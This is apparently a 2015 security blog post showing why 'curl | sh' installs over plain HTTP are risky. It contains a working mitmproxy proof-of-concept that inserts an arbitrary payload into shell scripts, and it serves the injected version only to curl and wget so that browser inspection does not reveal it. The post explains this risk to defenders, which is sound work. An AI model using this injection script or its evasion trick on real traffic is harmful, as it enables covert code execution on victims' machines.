Owning "curl | sh" for Fun and Profit
June 14, 2015 -If you're a web developer, you've probably seen sites asking you to install their software package like so:
curl -s http://example.com/install.sh | sh
There are a number of subtle problems with piping a HTTP response into the shell (for example, if your connection is interrupted part-way through the script, the script may end up partially executed, as written about here), but let's look at the most obvious problem: the ease with which a man-in-the-middle can modify code you are about to directly execute.
Users piping unencrypted web traffic into the shell is about as easy it gets for me as an attacker, because:
- shell scripts are easily identified as such, and so are easy to target
- shell scripts are written in plaintext, so it's straightforward to inject our own code into it
- if they look at it at all, users are likely to inspect the code with a separate tool than they use to download and execute it (the browser versus curl or wget), and I can conditionally respond to this.
I wrote a proof-of-concept script, using mitmproxy, that can detect scripts downloaded using this pattern and inject shell commands of my choosing.
Let's write a simple mitmproxy script to do this.
#!/usr/bin/python
from libmproxy.protocol.http import decoded
def start(context, argv):
if len(argv) != 2:
raise ValueError('Usage: -s "inject_shell.py payload.sh"')
context.payload = get_payload(argv[1])
def get_payload(payload_file):
"""
Read and return the payload file as a string
"""
f = open(payload_file, 'r')
lines = f.readlines()
f.close()
return '\n'.join(lines)
def is_shell_script(resp):
"""
Returns true if the request is a possible shell script
"""
shell_content_type = False
content_type = resp.headers.get_first("content-type", "")
# if content-type is set, should be text/*
if content_type != "" and not content_type.startswith('text/'):
return False
# and should start with shebang
if not resp.content.startswith('#!'):
return False
return True
def response(context, flow):
resp = flow.response
req = flow.request
with decoded(resp):
if is_shell_script(resp):
flow.response.content = flow.response.content.replace(
'\n',
'\n' + context.payload + '\n',
1)
When a request is made through mitmproxy, this will modify any response that looks like a shell script to contain our payload. Let's modify this so we only add the payload if the file is downloaded via curl or wget, so that a user inspecting the code in the browser doesn't see what we've injected:
def is_cli_tool(req):
"""
Returns true if the user-agent looks like curl or wget
"""
user_agent = req.headers.get_first("User-Agent", "")
if user_agent.startswith('curl'):
return True
if user_agent.startswith('Wget'):
return True
return False
def response(context, flow):
# ...
with decoded(resp):
if is_shell_script(resp) and is_cli_tool(req):
# ...
To test it out, run mitmproxy with this script in regular mode:
mitmproxy -s "inject_shell.py payload.sh
Configure your browser to proxy HTTP connections through localhost:8080
, and take a look at a shell script over HTTP
(like any of the http:// links here). Looks fine, right?
Now try it via curl:
curl -x localhost:8080 http://example.com/install.sh
You should now see the payload injected into the response. Same with wget:
wget -qO- http://example.com/install.sh
Security is fun. Source is up on github here.